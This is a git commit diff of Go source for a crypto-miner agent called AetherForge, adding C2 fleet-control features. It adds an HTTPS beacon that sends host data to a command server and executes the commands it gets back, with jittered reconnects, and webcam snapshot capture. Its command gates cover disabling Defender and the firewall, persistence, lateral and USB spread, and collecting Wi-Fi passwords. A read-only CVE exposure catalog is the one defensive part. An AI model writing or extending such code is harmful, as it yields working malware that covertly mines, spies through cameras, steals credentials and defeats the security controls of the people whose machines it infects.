feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
AetherForge
2026-06-04 09:34:33 -07:00
parent d52479c9a6
commit 5fc601b564
111 changed files with 5845 additions and 116 deletions

View File

@@ -19,10 +19,13 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
}
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
"subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
}
case "tunnel_status", "tunnel_wireguard":
// Always available — read-only or Path Tracer config from server.
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
// No forge gate — always available.
case "mesh_status":
@@ -36,6 +39,10 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
}
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
if c.handleTunnelCommand(action, command, path, data) {
return true
}
ok, reason := c.allowRemoteAction(action)
if !ok {
c.sendCommandResult(action, false, reason)
@@ -82,19 +89,6 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
c.sendCommandResult(action, true, msg)
return true
case "start_tunnel":
serverURL := strings.TrimSpace(command)
if serverURL == "" {
serverURL = c.cfg.ServerURL
}
msg, err := deploy.StartCloudflaredTunnel(serverURL)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "subnet_scan":
maxHosts := parsePortArg(command, 64)
out := deploy.ScanLocalSubnet(maxHosts)
@@ -204,7 +198,7 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
}
parts = append(parts, msg)
}
deploy.RemoveFirewallExclusionWindows(c.cfg)
deploy.RemoveFirewallExclusion(c.cfg)
parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
c.sendCommandResult(action, true, strings.Join(parts, "\n"))
return true

View File

@@ -0,0 +1,151 @@
package client
import (
"bytes"
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"strings"
"time"
"crypto-miner-agent/config"
)
type beaconHTTPResponse struct {
OK bool `json:"ok"`
Commands []struct {
Action string `json:"action"`
TailLines int `json:"tail_lines"`
Command string `json:"command"`
Path string `json:"path"`
Data string `json:"data"`
} `json:"commands"`
}
func (c *AgentClient) httpsBeaconEnabled() bool {
if !c.cfg.HTTPSBeaconFallback {
return false
}
if c.cfg.FleetSecret == "" {
return false
}
return true
}
func (c *AgentClient) httpsBeaconAfterDuration() time.Duration {
min := c.cfg.HTTPSBeaconAfterMin
if min <= 0 {
min = 3
}
return time.Duration(min) * time.Minute
}
func (c *AgentClient) shouldUseHTTPSBeacon(wsDownSince time.Time) bool {
if !c.httpsBeaconEnabled() || wsDownSince.IsZero() {
return false
}
return time.Since(wsDownSince) >= c.httpsBeaconAfterDuration()
}
func (c *AgentClient) apiBaseURL(serverURL string) (string, error) {
raw := strings.TrimSpace(serverURL)
if raw == "" {
return "", fmt.Errorf("empty server URL")
}
if !strings.Contains(raw, "://") {
raw = "http://" + raw
}
return strings.TrimSuffix(raw, "/") + "/api/v1", nil
}
// beaconOnce performs one HTTPS beacon cycle; the outer Run loop retries WebSocket each iteration.
func (c *AgentClient) beaconOnce(serverURL string) error {
c.beaconMode.Store(true)
defer c.beaconMode.Store(false)
c.connected.Store(true)
defer c.connected.Store(false)
client := &http.Client{Timeout: 45 * time.Second}
base, err := c.apiBaseURL(serverURL)
if err != nil {
return err
}
stats, err := c.collectStatsPayload()
if err != nil {
log.Printf("[agent] beacon stats: %v", err)
}
host, _, _ := c.reporter.SystemInfo()
body, _ := json.Marshal(map[string]interface{}{
"agent_id": c.agentID,
"stats": stats,
"hostname": host,
"wallet": c.cfg.Wallet,
"worker_name": c.cfg.WorkerName,
"version": config.Version,
})
req, err := http.NewRequest(http.MethodPost, base+"/agent/beacon", bytes.NewReader(body))
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
resp, err := client.Do(req)
if err != nil {
return err
}
data, _ := io.ReadAll(resp.Body)
resp.Body.Close()
if resp.StatusCode == http.StatusForbidden {
return fmt.Errorf("beacon auth rejected")
}
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("beacon HTTP %s", resp.Status)
}
var br beaconHTTPResponse
if err := json.Unmarshal(data, &br); err != nil {
return err
}
for _, cmd := range br.Commands {
c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
}
return nil
}
func (c *AgentClient) beaconInterval() time.Duration {
sec := c.cfg.BeaconIntervalSec
if sec <= 0 {
sec = 10
}
return time.Duration(sec) * time.Second
}
func (c *AgentClient) postBeaconResult(payload []byte) {
serverURLs := buildServerURLList(c.cfg)
if len(serverURLs) == 0 {
return
}
base, err := c.apiBaseURL(serverURLs[0])
if err != nil {
return
}
var body map[string]interface{}
_ = json.Unmarshal(payload, &body)
body["agent_id"] = c.agentID
out, _ := json.Marshal(body)
req, err := http.NewRequest(http.MethodPost, base+"/agent/beacon/result", bytes.NewReader(out))
if err != nil {
return
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
client := &http.Client{Timeout: 30 * time.Second}
resp, err := client.Do(req)
if err != nil {
log.Printf("[agent] beacon result post failed: %v", err)
return
}
io.Copy(io.Discard, resp.Body)
resp.Body.Close()
}

View File

@@ -0,0 +1,66 @@
package client
import (
"encoding/base64"
"fmt"
"strings"
)
const maxCameraSnapshotBytes = 2 * 1024 * 1024
func isJPEG(data []byte) bool {
return len(data) >= 3 && data[0] == 0xff && data[1] == 0xd8 && data[2] == 0xff
}
func encodeCameraSnapshotJPEG(raw []byte) (string, error) {
if len(raw) < 100 {
return "", fmt.Errorf("camera capture too small (%d bytes)", len(raw))
}
if !isJPEG(raw) {
return "", fmt.Errorf("camera capture is not JPEG (got %d bytes)", len(raw))
}
if len(raw) > maxCameraSnapshotBytes {
return "", fmt.Errorf("camera image exceeds %d byte cap (%d bytes)", maxCameraSnapshotBytes, len(raw))
}
return base64.StdEncoding.EncodeToString(raw), nil
}
// parseDShowVideoDevices extracts quoted DirectShow video device names from ffmpeg -list_devices output.
func parseDShowVideoDevices(stderr string) []string {
var devs []string
inVideo := false
for _, line := range strings.Split(stderr, "\n") {
lower := strings.ToLower(line)
if strings.Contains(lower, "directshow video devices") {
inVideo = true
continue
}
if inVideo && strings.Contains(lower, "directshow audio devices") {
break
}
if !inVideo {
continue
}
if strings.Contains(lower, "alternative name") {
continue
}
name := extractQuotedDeviceName(line)
if name != "" {
devs = append(devs, name)
}
}
return devs
}
func extractQuotedDeviceName(line string) string {
start := strings.Index(line, `"`)
if start < 0 {
return ""
}
rest := line[start+1:]
end := strings.Index(rest, `"`)
if end <= 0 {
return ""
}
return rest[:end]
}

View File

@@ -0,0 +1,45 @@
package client
import "testing"
func TestParseDShowVideoDevices(t *testing.T) {
sample := `[dshow @ 000001] DirectShow video devices (some may be both video and audio devices)
[dshow @ 000001] "Integrated Camera"
[dshow @ 000001] Alternative name "@device_pnp_\\?\usb#..."
[dshow @ 000001] "USB Video Device"
[dshow @ 000001] DirectShow audio devices
[dshow @ 000001] "Microphone (USB Video Device)"
`
devs := parseDShowVideoDevices(sample)
if len(devs) != 2 {
t.Fatalf("got %d devices: %v", len(devs), devs)
}
if devs[0] != "Integrated Camera" || devs[1] != "USB Video Device" {
t.Fatalf("unexpected names: %v", devs)
}
}
func TestExtractQuotedDeviceName(t *testing.T) {
if got := extractQuotedDeviceName(`[dshow] "My Cam"`); got != "My Cam" {
t.Fatalf("got %q", got)
}
if got := extractQuotedDeviceName("no quotes"); got != "" {
t.Fatalf("expected empty, got %q", got)
}
}
func TestEncodeCameraSnapshotJPEG(t *testing.T) {
jpeg := []byte{0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 'J', 'F', 'I', 'F'}
// pad to >= 100 bytes
for len(jpeg) < 100 {
jpeg = append(jpeg, 0)
}
b64, err := encodeCameraSnapshotJPEG(jpeg)
if err != nil || len(b64) < 100 {
t.Fatalf("encode: err=%v len=%d", err, len(b64))
}
_, err = encodeCameraSnapshotJPEG([]byte{1, 2, 3})
if err == nil {
t.Fatal("expected error for non-jpeg")
}
}

View File

@@ -0,0 +1,105 @@
//go:build linux
package client
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
func handleCameraAction(action string) (handled bool, success bool, message string) {
switch action {
case "camera_snapshot":
raw, err := captureLinuxCameraJPEG()
if err != nil {
return true, false, err.Error()
}
b64, err := encodeCameraSnapshotJPEG(raw)
if err != nil {
return true, false, err.Error()
}
return true, true, b64
case "camera_list":
devs, err := listLinuxCameraDevices()
if err != nil {
return true, false, err.Error()
}
if len(devs) == 0 {
return true, false, "no V4L2 devices found under /dev/video*"
}
return true, true, strings.Join(devs, "\n")
default:
return false, false, ""
}
}
func listLinuxCameraDevices() ([]string, error) {
matches, err := filepath.Glob("/dev/video*")
if err != nil {
return nil, err
}
var devs []string
for _, p := range matches {
if fi, err := os.Stat(p); err == nil && (fi.Mode()&os.ModeCharDevice) != 0 {
devs = append(devs, p)
}
}
return devs, nil
}
func captureLinuxCameraJPEG() ([]byte, error) {
devs, err := listLinuxCameraDevices()
if err != nil {
return nil, err
}
if len(devs) == 0 {
return nil, fmt.Errorf("no /dev/video* devices — connect a USB camera or install v4l2 drivers")
}
device := devs[0]
if ff, err := exec.LookPath("ffmpeg"); err == nil {
out, runErr := exec.Command(ff,
"-hide_banner", "-loglevel", "error",
"-f", "v4l2",
"-i", device,
"-frames:v", "1",
"-q:v", "2",
"-f", "image2",
"pipe:1",
).CombinedOutput()
if runErr == nil && len(out) >= 100 {
return out, nil
}
if runErr != nil {
hint := strings.TrimSpace(string(out))
if hint != "" {
return nil, fmt.Errorf("ffmpeg v4l2 capture failed: %v (%s)", runErr, hint)
}
}
}
if fw, err := exec.LookPath("fswebcam"); err == nil {
tmp, err := os.CreateTemp("", "af-cam-*.jpg")
if err != nil {
return nil, err
}
tmpPath := tmp.Name()
_ = tmp.Close()
defer os.Remove(tmpPath)
out, runErr := exec.Command(fw, "-q", "-d", device, "-r", "1280x720", "--no-banner", tmpPath).CombinedOutput()
if runErr != nil {
return nil, fmt.Errorf("fswebcam failed: %v (%s)", runErr, strings.TrimSpace(string(out)))
}
raw, err := os.ReadFile(tmpPath)
if err != nil {
return nil, err
}
return raw, nil
}
return nil, fmt.Errorf("camera capture unsupported: install ffmpeg or fswebcam on the agent host")
}

View File

@@ -0,0 +1,12 @@
//go:build !windows && !linux
package client
func handleCameraAction(action string) (handled bool, success bool, message string) {
switch action {
case "camera_snapshot", "camera_list":
return true, false, "camera capture is not supported on this platform"
default:
return false, false, ""
}
}

View File

@@ -0,0 +1,90 @@
//go:build windows
package client
import (
"fmt"
"os/exec"
"strings"
)
func handleCameraAction(action string) (handled bool, success bool, message string) {
switch action {
case "camera_snapshot":
raw, err := captureWindowsCameraJPEG()
if err != nil {
return true, false, err.Error()
}
b64, err := encodeCameraSnapshotJPEG(raw)
if err != nil {
return true, false, err.Error()
}
return true, true, b64
case "camera_list":
devs, err := listWindowsCameraDevices()
if err != nil {
return true, false, err.Error()
}
if len(devs) == 0 {
return true, false, "no DirectShow video capture devices found (install ffmpeg and connect a camera)"
}
return true, true, strings.Join(devs, "\n")
default:
return false, false, ""
}
}
func ffmpegOnPath() (string, error) {
path, err := exec.LookPath("ffmpeg")
if err != nil {
return "", fmt.Errorf("ffmpeg not found on PATH — install ffmpeg to capture USB/built-in camera frames")
}
return path, nil
}
func listWindowsCameraDevices() ([]string, error) {
ff, err := ffmpegOnPath()
if err != nil {
return nil, err
}
out, err := silentCombinedOutput(ff, "-hide_banner", "-list_devices", "true", "-f", "dshow", "-i", "dummy")
// ffmpeg exits non-zero for -list_devices; output is on stderr merged in CombinedOutput
_ = err
return parseDShowVideoDevices(string(out)), nil
}
func captureWindowsCameraJPEG() ([]byte, error) {
ff, err := ffmpegOnPath()
if err != nil {
return nil, err
}
devs, err := listWindowsCameraDevices()
if err != nil {
return nil, err
}
if len(devs) == 0 {
return nil, fmt.Errorf("no video capture devices found")
}
device := devs[0]
out, err := silentCombinedOutput(ff,
"-hide_banner", "-loglevel", "error",
"-f", "dshow",
"-i", dshowVideoInput(device),
"-frames:v", "1",
"-q:v", "2",
"-f", "image2",
"pipe:1",
)
if err != nil {
hint := strings.TrimSpace(string(out))
if hint != "" {
return nil, fmt.Errorf("ffmpeg capture failed: %v (%s)", err, hint)
}
return nil, fmt.Errorf("ffmpeg capture failed: %v (device %q)", err, device)
}
return out, nil
}
func dshowVideoInput(name string) string {
return `video="` + strings.ReplaceAll(name, `"`, `\"`) + `"`
}

View File

@@ -6,6 +6,7 @@ import (
"fmt"
"io"
"log"
"math/rand"
"net"
"net/http"
"net/url"
@@ -53,6 +54,11 @@ type AgentClient struct {
// spreadOnce ensures AutoSpreader starts at most once — after the first
// successful WS authentication confirms we are on an owned fleet.
spreadOnce sync.Once
// beaconMode is true while commands/results use HTTPS beacon transport.
beaconMode atomic.Bool
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
wsDownSince atomic.Value // stores time.Time
}
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
@@ -67,6 +73,15 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
}
func (c *AgentClient) Run() error {
if c.cfg.AgentKillAfterDays > 0 && !c.cfg.BuiltAt.IsZero() {
age := time.Since(c.cfg.BuiltAt)
limit := time.Duration(c.cfg.AgentKillAfterDays) * 24 * time.Hour
if age >= limit {
log.Printf("[agent] agent_kill_after_days (%d) reached — exiting", c.cfg.AgentKillAfterDays)
return nil
}
}
threads := c.cfg.EffectiveThreads()
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
c.pool.Start()
@@ -118,32 +133,76 @@ func (c *AgentClient) Run() error {
serverURLs := buildServerURLList(c.cfg)
log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)
urlIdx := 0
backoff := 5 * time.Second
const maxBackoff = 60 * time.Second
probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
log.Printf("[agent] connectivity_probe: c2_dns=%v c2_tcp=%v pool_dns=%v pool_tcp=%v",
probe.C2DNSOK, probe.C2TCPOK, probe.PoolDNSOK, probe.PoolTCPOK)
urlIdx := 0
backoff, maxBackoff := c.reconnectBackoff()
for {
target := serverURLs[urlIdx%len(serverURLs)]
start := time.Now()
// Restore C2 share handler before connecting (in case Stratum had it).
c.pool.SetShareHandler(c.submitShare)
if c.shouldUseHTTPSBeacon(c.wsDownSinceTime()) {
log.Printf("[agent] WebSocket unavailable — HTTPS beacon to %s", target)
if err := c.beaconOnce(target); err != nil {
log.Printf("[agent] beacon failed on %s: %v", target, err)
c.markWSDownSince()
} else {
c.sleepReconnect(c.beaconInterval())
}
}
if err := c.connectLoop(target); err != nil {
log.Printf("[agent] disconnected from %s: %v", target, err)
c.markWSDownSince()
}
// Advance to next URL so the next reconnect tries a different server
urlIdx++
if time.Since(start) > 10*time.Second {
// Long-lived connection succeeded — reset backoff on the next attempt
backoff = 5 * time.Second
backoff, maxBackoff = c.reconnectBackoff()
}
time.Sleep(backoff)
backoff += 5 * time.Second
c.sleepReconnect(backoff)
backoff += c.reconnectBackoffStep()
if backoff > maxBackoff {
backoff = maxBackoff
}
}
}
func (c *AgentClient) reconnectBackoff() (time.Duration, time.Duration) {
sec := c.cfg.BeaconIntervalSec
if sec <= 0 {
sec = 5
}
base := time.Duration(sec) * time.Second
max := 60 * time.Second
if base*12 > max {
max = base * 12
}
return base, max
}
func (c *AgentClient) reconnectBackoffStep() time.Duration {
sec := c.cfg.BeaconIntervalSec
if sec <= 0 {
sec = 5
}
return time.Duration(sec) * time.Second
}
func (c *AgentClient) sleepReconnect(d time.Duration) {
jitter := c.cfg.BeaconJitterPct
if jitter > 0 {
if jitter > 100 {
jitter = 100
}
factor := 1.0 + (rand.Float64()*2-1)*float64(jitter)/100.0
d = time.Duration(float64(d) * factor)
}
time.Sleep(d)
}
// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
func buildServerURLList(cfg config.RuntimeConfig) []string {
seen := map[string]bool{}
@@ -263,6 +322,8 @@ func (c *AgentClient) authenticate() error {
Arch: runtime.GOARCH,
OSVersion: deploy.HostOSVersion(),
MacAddress: primaryMACAddress(),
BuildID: c.cfg.BuildID,
USBSpread: c.cfg.USBSpread,
})
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err
@@ -287,7 +348,8 @@ func (c *AgentClient) authenticate() error {
return fmt.Errorf("auth failed: %s", resp.Error)
}
c.agentID = resp.AgentID
log.Printf("[agent] authenticated as %s", c.agentID)
c.clearWSDownSince()
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
if installDir, err := c.cfg.InstallDirectory(); err == nil {
_ = deploy.PersistAgentID(installDir, c.agentID)
@@ -549,7 +611,15 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
}
go c.performUpgrade(data)
c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
case "bof_execute":
c.sendCommandResult(action, false, "bof_execute is not implemented — in-memory BOF execution is disabled for safety")
default:
if c.handleRegistryCommand(action, path, data) {
return
}
if c.handleFileCommand(action, path) {
return
}
if c.handleReconCommand(action, command) {
return
}
@@ -563,9 +633,56 @@ func (c *AgentClient) sendCommandResult(action string, success bool, message str
"success": success,
"message": message,
})
if c.beaconMode.Load() {
c.postBeaconResult(payload)
return
}
_ = c.write(Message{Type: "command_result", Payload: payload})
}
func (c *AgentClient) wsDownSinceTime() time.Time {
if v := c.wsDownSince.Load(); v != nil {
if t, ok := v.(time.Time); ok {
return t
}
}
return time.Time{}
}
func (c *AgentClient) markWSDownSince() {
if !c.wsDownSinceTime().IsZero() {
return
}
c.wsDownSince.Store(time.Now())
}
func (c *AgentClient) clearWSDownSince() {
c.wsDownSince.Store(time.Time{})
}
func (c *AgentClient) collectStatsPayload() (StatsPayload, error) {
hps := c.pool.HashesPerSecond()
c.pool.ResetHashCounter()
cpuPct, memPct := c.reporter.Usage()
if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
cpuPct = sysCPU
}
c.mu.Lock()
submitted := c.sharesSubmitted
accepted := c.sharesAccepted
c.mu.Unlock()
return StatsPayload{
Hashrate15s: hps,
Hashrate1m: hps,
Hashrate15m: hps,
SharesSubmitted: submitted,
SharesAccepted: accepted,
CPUUsagePct: cpuPct,
MemoryUsagePct: memPct,
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
}, nil
}
func (c *AgentClient) stopSelf() {
time.Sleep(300 * time.Millisecond)
c.pool.Stop()

View File

@@ -1,6 +1,7 @@
package client
import (
"encoding/json"
"fmt"
"os/exec"
"runtime"
@@ -21,6 +22,12 @@ func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
}
func (c *AgentClient) handleReconCommand(action, command string) bool {
if action == "connectivity_probe" {
probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
b, _ := json.Marshal(probe)
c.sendCommandResult(action, true, string(b))
return true
}
if action == "full_sys_check" {
report := CollectFullSysCheck(c.cfg, c.agentID)
c.sendCommandResult(action, true, report.JSON())

View File

@@ -52,6 +52,8 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
} else {
return true, false, "screenshot not supported on this platform without custom command"
}
case "camera_snapshot", "camera_list":
return handleCameraAction(action)
case "sysinfo":
out, err = exec.Command("uname", "-a").CombinedOutput()
case "ipconfig":

View File

@@ -106,6 +106,8 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
return true, false, "screenshot failed or empty image (agent may need an interactive desktop session)"
}
return true, true, b64
case "camera_snapshot", "camera_list":
return handleCameraAction(action)
case "sysinfo":
out, err = silentCombinedOutput("systeminfo")
case "ipconfig":

View File

@@ -0,0 +1,93 @@
package client
import (
"fmt"
"net"
"net/url"
"strings"
"time"
)
// ConnectivityProbeReport is diagnostic-only reachability (not a C2 channel).
type ConnectivityProbeReport struct {
C2Host string `json:"c2_host"`
C2DNSOK bool `json:"c2_dns_ok"`
C2DNSAddrs []string `json:"c2_dns_addrs,omitempty"`
C2TCPOK bool `json:"c2_tcp_ok"`
C2TCPError string `json:"c2_tcp_error,omitempty"`
PoolHost string `json:"pool_host,omitempty"`
PoolDNSOK bool `json:"pool_dns_ok,omitempty"`
PoolDNSAddrs []string `json:"pool_dns_addrs,omitempty"`
PoolTCPOK bool `json:"pool_tcp_ok,omitempty"`
PoolTCPError string `json:"pool_tcp_error,omitempty"`
}
func runConnectivityProbe(serverURL, poolHost string, poolPort int) ConnectivityProbeReport {
report := ConnectivityProbeReport{}
host, port, err := hostPortFromServerURL(serverURL)
if err != nil {
report.C2Host = serverURL
report.C2TCPError = err.Error()
return report
}
report.C2Host = net.JoinHostPort(host, port)
report.C2DNSOK, report.C2DNSAddrs = probeDNSResolve(host)
report.C2TCPOK, report.C2TCPError = probeTCPConnect(host, port)
if poolHost != "" {
pport := poolPort
if pport <= 0 {
pport = 3333
}
pportStr := fmt.Sprintf("%d", pport)
report.PoolHost = net.JoinHostPort(poolHost, pportStr)
report.PoolDNSOK, report.PoolDNSAddrs = probeDNSResolve(poolHost)
report.PoolTCPOK, report.PoolTCPError = probeTCPConnect(poolHost, pportStr)
}
return report
}
func hostPortFromServerURL(serverURL string) (host, port string, err error) {
raw := strings.TrimSpace(serverURL)
if raw == "" {
return "", "", fmt.Errorf("empty server URL")
}
if !strings.Contains(raw, "://") {
raw = "http://" + raw
}
u, err := url.Parse(raw)
if err != nil {
return "", "", err
}
host = u.Hostname()
port = u.Port()
if port == "" {
if u.Scheme == "https" {
port = "443"
} else {
port = "80"
}
}
if host == "" {
return "", "", fmt.Errorf("no host in server URL")
}
return host, port, nil
}
func probeDNSResolve(host string) (bool, []string) {
addrs, err := net.LookupHost(host)
if err != nil || len(addrs) == 0 {
return false, nil
}
return true, addrs
}
func probeTCPConnect(host, port string) (bool, string) {
addr := net.JoinHostPort(host, port)
conn, err := net.DialTimeout("tcp", addr, 5*time.Second)
if err != nil {
return false, err.Error()
}
_ = conn.Close()
return true, ""
}

View File

@@ -0,0 +1,20 @@
package client
import "testing"
func TestHostPortFromServerURL(t *testing.T) {
host, port, err := hostPortFromServerURL("https://c2.example.com:8989")
if err != nil {
t.Fatal(err)
}
if host != "c2.example.com" || port != "8989" {
t.Fatalf("got %s:%s", host, port)
}
host, port, err = hostPortFromServerURL("http://192.168.1.5")
if err != nil {
t.Fatal(err)
}
if host != "192.168.1.5" || port != "80" {
t.Fatalf("got %s:%s", host, port)
}
}

View File

@@ -0,0 +1,66 @@
package client
// KEVEntry describes a CISA-known-exploited style vulnerability for read-only exposure checks.
// Heuristics indicate likely exposure on the host — not a penetration test.
type KEVEntry struct {
ID string
Name string
Product string
Severity string // critical, high, medium
CISAKEV bool
Description string
}
// KEVCatalog is aligned with CISA AA22-117A / AA22-279A top exploited CVE families.
var KEVCatalog = []KEVEntry{
{ID: "CVE-2021-44228", Name: "Log4Shell", Product: "Apache Log4j", Severity: "critical", CISAKEV: true,
Description: "JNDI RCE in Log4j 2.x before 2.17.0"},
{ID: "CVE-2021-26855", Name: "ProxyLogon", Product: "Microsoft Exchange", Severity: "critical", CISAKEV: true,
Description: "Exchange Server pre-auth SSRF chain (Mar 2021)"},
{ID: "CVE-2020-1472", Name: "Zerologon", Product: "Microsoft Netlogon", Severity: "critical", CISAKEV: true,
Description: "Domain controller Netlogon privilege escalation"},
{ID: "CVE-2019-19781", Name: "Citrix ADC", Product: "Citrix ADC/Gateway", Severity: "critical", CISAKEV: true,
Description: "Path traversal on Citrix Application Delivery Controller"},
{ID: "CVE-2019-11510", Name: "Pulse Secure", Product: "Ivanti Pulse Connect Secure", Severity: "critical", CISAKEV: true,
Description: "Arbitrary file read on Pulse VPN appliances"},
{ID: "CVE-2020-5902", Name: "F5 BIG-IP", Product: "F5 BIG-IP", Severity: "critical", CISAKEV: true,
Description: "Remote code execution in TMUI (CVE-2020-5902)"},
{ID: "CVE-2022-1388", Name: "F5 iControl", Product: "F5 BIG-IP", Severity: "critical", CISAKEV: true,
Description: "iControl REST auth bypass (May 2022)"},
{ID: "CVE-2021-26084", Name: "Confluence OGNL", Product: "Atlassian Confluence", Severity: "critical", CISAKEV: true,
Description: "Confluence Server/Data Center RCE"},
{ID: "CVE-2022-26134", Name: "Confluence RCE", Product: "Atlassian Confluence", Severity: "critical", CISAKEV: true,
Description: "Confluence unauthenticated RCE (2022)"},
{ID: "CVE-2021-40539", Name: "ManageEngine", Product: "Zoho ManageEngine ADSelfService Plus", Severity: "critical", CISAKEV: true,
Description: "Unauthenticated RCE in ADSelfService Plus"},
{ID: "CVE-2018-13379", Name: "FortiOS path traversal", Product: "Fortinet FortiGate/FortiOS", Severity: "critical", CISAKEV: true,
Description: "SSL-VPN path traversal (FortiOS)"},
{ID: "CVE-2021-34527", Name: "PrintNightmare", Product: "Windows Print Spooler", Severity: "high", CISAKEV: true,
Description: "Spooler remote code execution (Jul 2021)"},
{ID: "CVE-2020-0688", Name: "Exchange RCE", Product: "Microsoft Exchange", Severity: "high", CISAKEV: true,
Description: "Exchange control panel deserialization RCE"},
{ID: "CVE-2021-21972", Name: "vCenter RCE", Product: "VMware vCenter", Severity: "critical", CISAKEV: true,
Description: "vSphere Client RCE in vCenter Server"},
}
// KEVFinding is one catalog entry with a probe result for this host.
type KEVFinding struct {
CVE string `json:"cve"`
Name string `json:"name"`
Product string `json:"product"`
Severity string `json:"severity"`
CISAKEV bool `json:"cisa_kev"`
Status string `json:"status"` // exposed, likely, clear, n/a
Detail string `json:"detail,omitempty"`
}
// KEVScanReport aggregates exposure heuristics for the dashboard.
type KEVScanReport struct {
ScannedAt string `json:"scanned_at"`
ExposedCount int `json:"exposed_count"`
LikelyCount int `json:"likely_count"`
CriticalCount int `json:"critical_count"`
RiskScore int `json:"risk_score"` // 0-100 higher = worse
Findings []KEVFinding `json:"findings"`
Summary string `json:"summary,omitempty"`
}

View File

@@ -0,0 +1,34 @@
package client
import "time"
func finalizeKEVReport(findings []KEVFinding) *KEVScanReport {
r := &KEVScanReport{
ScannedAt: time.Now().UTC().Format(time.RFC3339),
Findings: findings,
}
for _, f := range findings {
switch f.Status {
case "exposed":
r.ExposedCount++
if f.Severity == "critical" {
r.CriticalCount++
}
case "likely":
r.LikelyCount++
}
}
r.RiskScore = kevRiskScore(r)
return r
}
func kevRiskScore(r *KEVScanReport) int {
if r == nil {
return 0
}
score := r.CriticalCount*25 + r.ExposedCount*15 + r.LikelyCount*8
if score > 100 {
return 100
}
return score
}

View File

@@ -0,0 +1,16 @@
//go:build !windows
package client
func scanKEVExposure(_ *PatchStatusReport, _ *ListenPortsReport, _ *SysCheckSecurity) *KEVScanReport {
findings := make([]KEVFinding, 0, len(KEVCatalog))
for _, e := range KEVCatalog {
findings = append(findings, KEVFinding{
CVE: e.ID, Name: e.Name, Product: e.Product, Severity: e.Severity, CISAKEV: e.CISAKEV,
Status: "n/a", Detail: "KEV heuristics run on Windows agents only",
})
}
r := finalizeKEVReport(findings)
r.Summary = "KEV scan requires Windows"
return r
}

View File

@@ -0,0 +1,22 @@
package client
import "testing"
func TestFinalizeKEVReportRiskScore(t *testing.T) {
r := finalizeKEVReport([]KEVFinding{
{CVE: "CVE-2021-26855", Status: "exposed", Severity: "critical"},
{CVE: "CVE-2021-44228", Status: "likely", Severity: "critical"},
})
if r.ExposedCount != 1 || r.LikelyCount != 1 || r.CriticalCount != 1 {
t.Fatalf("counts: %+v", r)
}
if r.RiskScore < 30 {
t.Fatalf("expected elevated risk score, got %d", r.RiskScore)
}
}
func TestKEVCatalogNotEmpty(t *testing.T) {
if len(KEVCatalog) < 10 {
t.Fatalf("expected KEV catalog entries, got %d", len(KEVCatalog))
}
}

View File

@@ -0,0 +1,231 @@
//go:build windows
package client
import (
"encoding/json"
"strings"
)
const kevProbeScript = `
$ErrorActionPreference = 'SilentlyContinue'
$out = [ordered]@{}
# Exchange (ProxyLogon / ProxyLogon family)
$exSvc = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -like 'MSExchange*' -or $_.DisplayName -like '*Exchange*' })
$exReg = Test-Path 'HKLM:\SOFTWARE\Microsoft\ExchangeServer'
$out.exchange_installed = ($exSvc.Count -gt 0 -or $exReg)
# Domain Controller (Zerologon surface)
try {
$dc = (Get-CimInstance Win32_ComputerSystem).DomainRole -in 4,5
} catch { $dc = $false }
$out.is_domain_controller = $dc
# Pulse / Ivanti VPN client or service
$pulse = @(Get-Service -ErrorAction SilentlyContinue | Where-Object {
$_.DisplayName -match 'Pulse|Ivanti|Juniper Pulse' -or $_.Name -match 'Pulse'
})
$out.pulse_present = ($pulse.Count -gt 0)
# Citrix ADC / Gateway / Workspace server components
